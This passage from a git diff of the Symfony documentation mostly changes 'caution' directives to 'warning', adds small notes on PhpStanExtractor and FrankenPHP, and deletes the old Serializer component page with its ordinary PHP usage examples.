     All concurrent processes must use the same machine. Before starting a
     concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
-.. caution::
+.. warning::
 
     When running on systemd with non-system user and option ``RemoveIPC=yes``
     (default value), locks are deleted by systemd when that user logs out.
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index c8052d0d395..ff25f9e0fc4 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -485,7 +485,7 @@ these options, you can return the desired default value::
         }
     }
 
-.. caution::
+.. warning::
 
     The argument of the callable must be type hinted as ``Options``. Otherwise,
     the callable itself is considered as the default value of the option.
@@ -699,7 +699,7 @@ to the closure to access to them::
         }
     }
 
-.. caution::
+.. warning::
 
     The arguments of the closure must be type hinted as ``OptionsResolver`` and
     ``Options`` respectively. Otherwise, the closure itself is considered as the
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index ba37bc0ecda..5ce4c003a11 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -253,7 +253,7 @@ deprecations but:
 * forget to mark appropriate tests with the ``@group legacy`` annotations.
 
 By using ``SYMFONY_DEPRECATIONS_HELPER=max[self]=0``, deprecations that are
-triggered outside the ``vendors`` directory will be accounted for separately,
+triggered outside the ``vendor/`` directory will be accounted for separately,
 while deprecations triggered from a library inside it will not (unless you reach
 999999 of these), giving you the best of both worlds.
 
@@ -621,7 +621,7 @@ test::
 
 And that's all!
 
-.. caution::
+.. warning::
 
     Time-based function mocking follows the `PHP namespace resolutions rules`_
     so "fully qualified function calls" (e.g ``\time()``) cannot be mocked.
diff --git a/components/process.rst b/components/process.rst
index 9502665dde1..f6c8837d2c3 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -108,7 +108,7 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
-.. caution::
+.. warning::
 
     Most of the options defined by ``proc_open()`` (such as ``create_new_console``
     and ``suppress_errors``) are only supported on Windows operating systems.
@@ -552,7 +552,7 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     $process->disableOutput();
     $process->run();
 
-.. caution::
+.. warning::
 
     You cannot enable or disable the output while the process is running.
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 600481dce1a..f608640fa9b 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -26,6 +26,8 @@ default configuration::
 
     $propertyAccessor = PropertyAccess::createPropertyAccessor();
 
+.. _property-access-reading-arrays:
+
 Reading from Arrays
 -------------------
 
@@ -112,7 +114,7 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
-.. caution::
+.. warning::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.
     It tries to access the value using the below methods first before using
@@ -260,7 +262,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
-.. caution::
+.. warning::
 
     When implementing the magic ``__get()`` method, you also need to implement
     ``__isset()``.
@@ -301,7 +303,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
 
     var_dump($propertyAccessor->getValue($person, 'wouter')); // [...]
 
-.. caution::
+.. warning::
 
     The ``__call()`` feature is disabled by default, you can enable it by calling
     :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall`
diff --git a/components/property_info.rst b/components/property_info.rst
index 892cd5345a3..0ff1768441a 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -469,7 +469,18 @@ information from annotations of properties and methods, such as ``@var``,
     use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
+
+    // Type information.
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
+    // Description information.
+    $phpStanExtractor->getShortDescription($class, 'bar');
+    $phpStanExtractor->getLongDescription($class, 'bar');
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getShortDescription`
+    and :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getLongDescription`
+    methods were introduced in Symfony 7.3.
 
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
@@ -478,9 +489,9 @@ SerializerExtractor
 
     This extractor depends on the `symfony/serializer`_ library.
 
-Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>`
-from the :doc:`Serializer component </components/serializer>`,
-the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
+Using :ref:`groups metadata <serializer-groups-attribute>` from the
+:doc:`Serializer component </serializer>`, the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
 with the ``property_info`` service in the Symfony Framework::
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 7d17e7e7456..4eb75de2a75 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -3,7 +3,7 @@ The Runtime Component
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_,
-    `Swoole`_, etc. without any changes.
+    `Swoole`_, `FrankenPHP`_ etc. without any changes.
 
 Installation
 ------------
@@ -42,7 +42,7 @@ the component. This file runs the following logic:
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
 
-.. caution::
+.. warning::
 
     If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php``
     file won't be created.
@@ -487,6 +487,7 @@ The end user will now be able to create front controller like::
 
 .. _PHP-PM: https://github.com/php-pm/php-pm
 .. _Swoole: https://openswoole.com/
+.. _FrankenPHP: https://frankenphp.dev/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
 .. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template
diff --git a/components/serializer.rst b/components/serializer.rst
deleted file mode 100644
index 0764612e28a..00000000000
--- a/components/serializer.rst
+++ /dev/null
@@ -1,1938 +0,0 @@
-The Serializer Component
-========================
-
-    The Serializer component is meant to be used to turn objects into a
-    specific format (XML, JSON, YAML, ...) and the other way around.
-
-In order to do so, the Serializer component follows the following schema.
-
-.. raw:: html
-
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
-        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
-    ></object>
-
-When (de)serializing objects, the Serializer uses an array as the intermediary
-between objects and serialized contents. Encoders will only deal with
-turning specific **formats** into **arrays** and vice versa. The same way,
-normalizers will deal with turning specific **objects** into **arrays** and
-vice versa. The Serializer deals with calling the normalizers and encoders
-when serializing objects or deserializing formats.
-
-Serialization is a complex topic. This component may not cover all your use
-cases out of the box, but it can be useful for developing tools to
-serialize and deserialize your objects.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/serializer
-
-.. include:: /components/require_autoload.rst.inc
-
-To use the ``ObjectNormalizer``, the :doc:`PropertyAccess component </components/property_access>`
-must also be installed.
-
-Usage
------
-
-.. seealso::
-
-    This article explains the philosophy of the Serializer and gets you familiar
-    with the concepts of normalizers and encoders. The code examples assume
-    that you use the Serializer as an independent component. If you are using
-    the Serializer in a Symfony application, read :doc:`/serializer` after you
-    finish this article.
-
-To use the Serializer component, set up the
-:class:`Symfony\\Component\\Serializer\\Serializer` specifying which encoders
-and normalizer are going to be available::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $normalizers = [new ObjectNormalizer()];
-
-    $serializer = new Serializer($normalizers, $encoders);
-
-The preferred normalizer is the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`,
-but other normalizers are available. All the examples shown below use
-the ``ObjectNormalizer``.
-
-Serializing an Object
----------------------
-
-For the sake of this example, assume the following class already
-exists in your project::
-
-    namespace App\Model;
-
-    class Person
-    {
-        private int $age;
-        private string $name;
-        private bool $sportsperson;
-        private ?\DateTimeInterface $createdAt;
-
-        // Getters
-        public function getAge(): int
-        {
-            return $this->age;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function getCreatedAt(): ?\DateTimeInterface
-        {
-            return $this->createdAt;
-        }
-
-        // Issers
-        public function isSportsperson(): bool
-        {
-            return $this->sportsperson;
-        }
-
-        // Setters
-        public function setAge(int $age): void
-        {
-            $this->age = $age;
-        }
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function setSportsperson(bool $sportsperson): void
-        {
-            $this->sportsperson = $sportsperson;
-        }
-
-        public function setCreatedAt(?\DateTimeInterface $createdAt = null): void
-        {
-            $this->createdAt = $createdAt;
-        }
-    }
-
-Now, if you want to serialize this object into JSON, you only need to
-use the Serializer service created before::
-
-    use App\Model\Person;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-    $person->setSportsperson(false);
-
-    $jsonContent = $serializer->serialize($person, 'json');
-
-    // $jsonContent contains {"name":"foo","age":99,"sportsperson":false,"createdAt":null}
-
-    echo $jsonContent; // or return it in a Response
-
-The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
-is the object to be serialized and the second is used to choose the proper encoder,
-in this case :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
-
-Deserializing an Object
------------------------
-
-You'll now learn how to do the exact opposite. This time, the information
-of the ``Person`` class would be encoded in XML format::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <sportsperson>false</sportsperson>
-    </person>
-    EOF;
-
-    $person = $serializer->deserialize($data, Person::class, 'xml');
-
-In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
-needs three parameters:
-
-#. The information to be decoded
-#. The name of the class this information will be decoded to
-#. The encoder used to convert that information into an array
-
-By default, additional attributes that are not mapped to the denormalized object
-will be ignored by the Serializer component. If you prefer to throw an exception
-when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` context option to
-``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
-when constructing the normalizer::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <city>Paris</city>
-    </person>
-    EOF;
-
-    // $loader is any of the valid loaders explained later in this article
-    $classMetadataFactory = new ClassMetadataFactory($loader);
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
-    // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, Person::class, 'xml', [
-        AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
-    ]);
-
-Deserializing in an Existing Object
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The serializer can also be used to update an existing object::
-
-    // ...
-    $person = new Person();
-    $person->setName('bar');
-    $person->setAge(99);
-    $person->setSportsperson(true);
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>69</age>
-    </person>
-    EOF;
-
-    $serializer->deserialize($data, Person::class, 'xml', [AbstractNormalizer::OBJECT_TO_POPULATE => $person]);
-    // $person = App\Model\Person(name: 'foo', age: '69', sportsperson: true)
-
-This is a common need when working with an ORM.
-
-The ``AbstractNormalizer::OBJECT_TO_POPULATE`` is only used for the top level object. If that object
-is the root of a tree structure, all child elements that exist in the
-normalized data will be re-created with new instances.
-
-When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` option is set to
-true, existing children of the root ``OBJECT_TO_POPULATE`` are updated from the
-normalized data, instead of the denormalizer re-creating them. Note that
-``DEEP_OBJECT_TO_POPULATE`` only works for single child objects, but not for
-arrays of objects. Those will still be replaced when present in the normalized
-data.
-
-Context
--------
-
-Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`.
-
-.. _component-serializer-attributes-groups:
-
-Attributes Groups
------------------
-
-Sometimes, you want to serialize different sets of attributes from your
-entities. Groups are a handy way to achieve this need.
-
-Assume you have the following plain-old-PHP object::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        private string $bar;
-
-        public function getBar(): string
-        {
-            return $this->bar;
-        }
-
-        public function setBar($bar): string
-        {
-            return $this->bar = $bar;
-        }
-    }
-
-The definition of serialization can be specified using attributes, XML or YAML.
-The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-that will be used by the normalizer must be aware of the format to use.
-
-The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-for each format:
-
-* Attributes in PHP files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-* YAML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\YamlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new YamlFileLoader('/path/to/your/definition.yaml'));
-
-* XML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\XmlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
-
-.. _component-serializer-attributes-groups-attributes:
-
-Then, create your groups definition:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\Groups;
-
-        class MyObj
-        {
-            #[Groups(['group1', 'group2'])]
-            public string $foo;
-
-            #[Groups(['group4'])]
-            public string $anotherProperty;
-
-            #[Groups(['group3'])]
-            public function getBar() // is* methods are also supported
-            {
-                return $this->bar;
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                foo:
-                    groups: ['group1', 'group2']
-                anotherProperty:
-                    groups: ['group4']
-                bar:
-                    groups: ['group3']
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="foo">
-                    <group>group1</group>
-                    <group>group2</group>
-                </attribute>
-
-                <attribute name="anotherProperty">
-                    <group>group4</group>
-                </attribute>
-
-                <attribute name="bar">
-                    <group>group3</group>
-                </attribute>
-            </class>
-        </serializer>
-
-You are now able to serialize only attributes in the groups you want::
-
-    use Acme\MyObj;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyObj();
-    $obj->foo = 'foo';
-    $obj->anotherProperty = 'anotherProperty';
-    $obj->setBar('bar');
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj, null, ['groups' => 'group1']);
-    // $data = ['foo' => 'foo'];
-
-    $obj2 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['group1', 'group3']]
-    );
-    // $obj2 = MyObj(foo: 'foo', bar: 'bar')
-
-    // To get all groups, use the special value `*` in `groups`
-    $obj3 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['*']]
-    );
-    // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
-
-.. _ignoring-attributes-when-serializing:
-
-Selecting Specific Attributes
------------------------------
-
-It is also possible to serialize only a set of specific attributes::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class User
-    {
-        public string $familyName;
-        public string $givenName;
-        public Company $company;
-    }
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-    $company = new Company();
-    $company->name = 'Les-Tilleuls.coop';
-    $company->address = 'Lille, France';
-
-    $user = new User();
-    $user->familyName = 'Dunglas';
-    $user->givenName = 'Kévin';
-    $user->company = $company;
-
-    $serializer = new Serializer([new ObjectNormalizer()]);
-
-    $data = $serializer->normalize($user, null, [AbstractNormalizer::ATTRIBUTES => ['familyName', 'company' => ['name']]]);
-    // $data = ['familyName' => 'Dunglas', 'company' => ['name' => 'Les-Tilleuls.coop']];
-
-Only attributes that are not ignored (see below) are available.
-If some serialization groups are set, only attributes allowed by those groups can be used.
-
-As for groups, attributes can be selected during both the serialization and deserialization processes.
-
-.. _serializer_ignoring-attributes:
-
-Ignoring Attributes
--------------------
-
-All accessible attributes are included by default when serializing objects.
-There are two options to ignore some of those attributes.
-
-Option 1: Using ``#[Ignore]`` Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Ignore;
-
-        class MyClass
-        {
-            public string $foo;
-
-            #[Ignore]
-            public string $bar;
-        }
-
-    .. code-block:: yaml
-
-        App\Model\MyClass:
-            attributes:
-                bar:
-                    ignore: true
-
-    .. code-block:: xml
-
-        <?xml version="1.0" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\MyClass">
-                <attribute name="bar" ignore="true"/>
-            </class>
-        </serializer>
-
-You can now ignore specific attributes during serialization::
-
-    use App\Model\MyClass;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyClass();
-    $obj->foo = 'foo';
-    $obj->bar = 'bar';
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj);
-    // $data = ['foo' => 'foo'];
-
-Option 2: Using the Context
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Pass an array with the names of the attributes to ignore using the
-``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the
-serializer method::
-
-    use Acme\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-
-    $normalizer = new ObjectNormalizer();
-    $encoder = new JsonEncoder();
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    $serializer->serialize($person, 'json', [AbstractNormalizer::IGNORED_ATTRIBUTES => ['age']]); // Output: {"name":"foo"}
-
-.. _component-serializer-converting-property-names-when-serializing-and-deserializing:
-
-Converting Property Names when Serializing and Deserializing
-------------------------------------------------------------
-
-Sometimes serialized attributes must be named differently than properties
-or getter/setter methods of PHP classes.
-
-The Serializer component provides a handy way to translate or map PHP field
-names to serialized names: The Name Converter System.
-
-Given you have the following object::
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-And in the serialized form, all attributes must be prefixed by ``org_`` like
-the following::
-
-    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-
-A custom name converter can handle such cases::
-
-    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
-
-    class OrgPrefixNameConverter implements NameConverterInterface
-    {
-        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
-        {
-            return 'org_'.$propertyName;
-        }
-
-        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
-        {
-            // removes 'org_' prefix
-            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
-        }
-    }
-
-The custom name converter can be used by passing it as second parameter of any
-class extending :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractNormalizer`,
-including :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $nameConverter = new OrgPrefixNameConverter();
-    $normalizer = new ObjectNormalizer(null, $nameConverter);
-
-    $serializer = new Serializer([$normalizer], [new JsonEncoder()]);
-
-    $company = new Company();
-    $company->name = 'Acme Inc.';
-    $company->address = '123 Main Street, Big City';
-
-    $json = $serializer->serialize($company, 'json');
-    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
-    // Same data as $company
-
-.. _using-camelized-method-names-for-underscored-attributes:
-
-CamelCase to snake_case
-~~~~~~~~~~~~~~~~~~~~~~~
-
-In many formats, it's common to use underscores to separate words (also known
-as snake_case). However, in Symfony applications is common to use CamelCase to
-name properties (even though the `PSR-1 standard`_ doesn't recommend any
-specific case for property names).
-
-Symfony provides a built-in name converter designed to transform between
-snake_case and CamelCased styles during serialization and deserialization
-processes::
-
-    use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-
-    $normalizer = new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter());
-
-    class Person
-    {
-        public function __construct(
-            private string $firstName,
-        ) {
-        }
-
-        public function getFirstName(): string
-        {
-            return $this->firstName;
-        }
-    }
-
-    $kevin = new Person('Kévin');
-    $normalizer->normalize($kevin);
-    // ['first_name' => 'Kévin'];
-
-    $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person');
-    // Person object with firstName: 'Anne'
-
-.. _serializer_name-conversion:
-
-Configure name conversion using metadata
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using this component inside a Symfony application and the class metadata
-factory is enabled as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, $metadataAwareNameConverter)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your name conversion mapping. Consider an application that
-defines a ``Person`` entity with a ``firstName`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Entity;
-
-        use Symfony\Component\Serializer\Annotation\SerializedName;
-
-        class Person
-        {
-            public function __construct(
-                #[SerializedName('customer_name')]
-                private string $firstName,
-            ) {
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\Entity\Person:
-            attributes:
-                firstName:
-                    serialized_name: customer_name
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Entity\Person">
-                <attribute name="firstName" serialized-name="customer_name"/>
-            </class>
-        </serializer>
-
-This custom mapping is used to convert property names when serializing and
-deserializing objects::
-
-    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
-    // {"customer_name": "Kévin"}
-
-.. _serializing-boolean-attributes:
-
-Handling Boolean Attributes And Values
---------------------------------------
-
-During Serialization
-~~~~~~~~~~~~~~~~~~~~
-
-If you are using isser methods (methods prefixed by ``is``, like
-``App\Model\Person::isSportsperson()``), the Serializer component will
-automatically detect and use it to serialize related attributes.
-
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
-and ``can``.
-
-During Deserialization
-~~~~~~~~~~~~~~~~~~~~~~
-
-PHP considers many different values as true or false. For example, the
-strings ``true``, ``1``, and ``yes`` are considered true, while
-``false``, ``0``, and ``no`` are considered false.
-
-When deserializing, the Serializer component can take care of this
-automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL``
-context option::
-
-    use Acme\Person;
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizer = new ObjectNormalizer();
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [AbstractNormalizer::FILTER_BOOL => true]);
-
-This context makes the deserialization process behave like the
-:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag.
-
-.. versionadded:: 7.1
-
-    The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1.
-
-Using Callbacks to Serialize Properties with Object Instances
--------------------------------------------------------------
-
-When serializing, you can set a callback to format a specific object property::
-
-    use App\Model\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoder = new JsonEncoder();
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []): string {
-        return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
-    };
-
-    $defaultContext = [
-        AbstractNormalizer::CALLBACKS => [
-            'createdAt' => $dateCallback,
-        ],
-    ];
-
-    $normalizer = new GetSetMethodNormalizer(null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-
-    $person = new Person();
-    $person->setName('cordoval');
-    $person->setAge(34);
-    $person->setCreatedAt(new \DateTime('now'));
-
-    $serializer->serialize($person, 'json');
-    // Output: {"name":"cordoval", "age": 34, "createdAt": "2014-03-22T09:43:12-0500"}
-
-.. _component-serializer-normalizers:
-
-Normalizers
------------
-
-Normalizers turn **objects** into **arrays** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
-normalizing (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
-denormalizing (array to object).
-
-Normalizers are enabled in the serializer passing them as its first argument::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizers = [new ObjectNormalizer()];
-    $serializer = new Serializer($normalizers, []);
-
-Built-in Normalizers
-~~~~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in normalizers:
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-    This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
-    to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, issers, canners, adders and removers.
-    It supports calling the constructor during the denormalization process.
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove``
-    prefix from the method name and transforming the first letter to lowercase; e.g.
-    ``getFirstName()`` -> ``firstName``).
-
-    The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by
-    default in Symfony applications with the Serializer component enabled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-    This normalizer reads the content of the class by calling the "getters"
-    (public methods starting with "get"). It will denormalize data by calling
-    the constructor and the "setters" (public methods starting with "set").
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get`` prefix from the method name and transforming
-    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
-    This normalizer directly reads and writes public properties as well as
-    **private and protected** properties (from both the class and all of its
-    parent classes) by using `PHP reflection`_. It supports calling the constructor
-    during the denormalization process.
-
-    Objects are normalized to a map of property names to property values.
-
-    If you prefer to only normalize certain properties (e.g. only public properties)
-    set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and
-    combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
-    ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
-
-    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
